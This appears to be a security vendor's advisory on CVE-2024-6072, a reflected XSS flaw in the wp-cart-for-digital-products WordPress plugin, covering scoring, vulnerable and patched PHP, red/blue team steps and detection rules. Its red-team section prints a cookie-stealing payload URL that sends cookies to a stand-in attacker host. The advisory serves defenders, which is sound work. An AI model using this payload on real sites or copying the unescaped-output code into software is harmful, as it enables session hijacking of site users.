CVE-2024-6072

Executive Summary

CVE-2024-6072 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin wp-cart-for-digital-products (versions prior to 8.5.5). The plugin fails to escape the $_SERVER['REQUEST_URI'] parameter before outputting it back into an HTML attribute. This allows an attacker to inject arbitrary JavaScript code into the page, which is then executed in the victim's browser. The vulnerability is particularly dangerous for users of older web browsers that do not properly handle character encoding, but it can also be exploited in modern browsers with careful payload crafting.

The vulnerability has a CVSS score of 6.1 (Medium) and is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update to version 8.5.5 or later. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction, but the attack surface is broad due to the widespread use of WordPress plugins.

Deep Dive & Mechanics

The vulnerability resides in the wp-cart-for-digital-products plugin, which handles e-commerce functionality for digital products. The plugin uses $_SERVER['REQUEST_URI'] to reflect the current URL back into the page, likely for tracking or redirection purposes. However, it does not sanitize or escape this value before outputting it inside an HTML attribute (e.g., href or action).

An attacker can craft a malicious URL containing JavaScript code in the path or query string. When a victim visits this URL, the server-side code reads $_SERVER['REQUEST_URI'] and outputs it directly into the HTML without proper escaping. The injected script then executes in the victim's browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the user.

The vulnerability is classified as reflected XSS because the payload is part of the request and is immediately reflected in the response. It does not persist in the database.

Vulnerable vs. Patched Code

Vulnerable Code (version < 8.5.5):

<?php
// Example vulnerable code
$request_uri = $_SERVER['REQUEST_URI'];
echo '<a href="' . $request_uri . '">Click here</a>';
?>

Patched Code (version 8.5.5+):

<?php
// Example patched code using esc_url() or esc_attr()
$request_uri = esc_url($_SERVER['REQUEST_URI']);
echo '<a href="' . $request_uri . '">Click here</a>';
?>

The patched version uses WordPress's built-in escaping functions (e.g., esc_url()) to neutralize the input before output.

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Deploy a local WordPress instance with the vulnerable plugin (version < 8.5.5).
2. Craft Payload: Create a URL that includes a JavaScript payload in the path or query string. For example:

   http://target-site.com/?product=1&redirect=<script>alert('XSS')</script>
   

   Or use a more sophisticated payload to steal cookies:

   http://target-site.com/?product=1&redirect=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Deliver Payload: Send the crafted link to the victim via email, social media, or other channels.
4. Execute: When the victim clicks the link, the script executes in their browser.

Blue Team (Defender)

1. Detection: Monitor web server logs for unusual request URIs containing script tags or encoded JavaScript.
2. Prevention: Ensure the plugin is updated to version 8.5.5 or later.
3. Mitigation: If immediate update is not possible, implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the URI.
4. Response: If an attack is detected, isolate affected systems, rotate session tokens, and conduct a forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with URIs containing <script>, alert(, document.cookie, or other JavaScript keywords.
  • Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
• Host IOCs:
  • Unusual entries in web server access logs with long or suspicious URIs.
  • Presence of unexpected JavaScript code in the HTML source of pages.
• File IOCs:
  • Modified plugin files (though this is a reflected XSS, no file changes are expected).

Detection Engineering

YARA Rule

rule CVE_2024_6072_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting wp-cart-for-digital-products"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-6072"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $uri_ref = /$_SERVER\['REQUEST_URI'\]/
    condition:
        $xss_payload or $uri_ref
}

Sigma Rule

title: Reflected XSS Attempt via wp-cart-for-digital-products
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with potential XSS payloads targeting the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of script tags in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6072 Reflected XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update the wp-cart-for-digital-products plugin to version 8.5.5 or later.
2. Workaround: If immediate update is not possible, add a WAF rule to block requests containing <script> tags in the URI.
3. Long-term: Implement input validation and output escaping for all user-controlled data in WordPress plugins.
4. Monitoring: Enable logging and monitoring for suspicious URI patterns.
5. User Education: Advise users not to click on suspicious links and to keep their browsers updated.

Valters IT
Securing Digital Ecosystems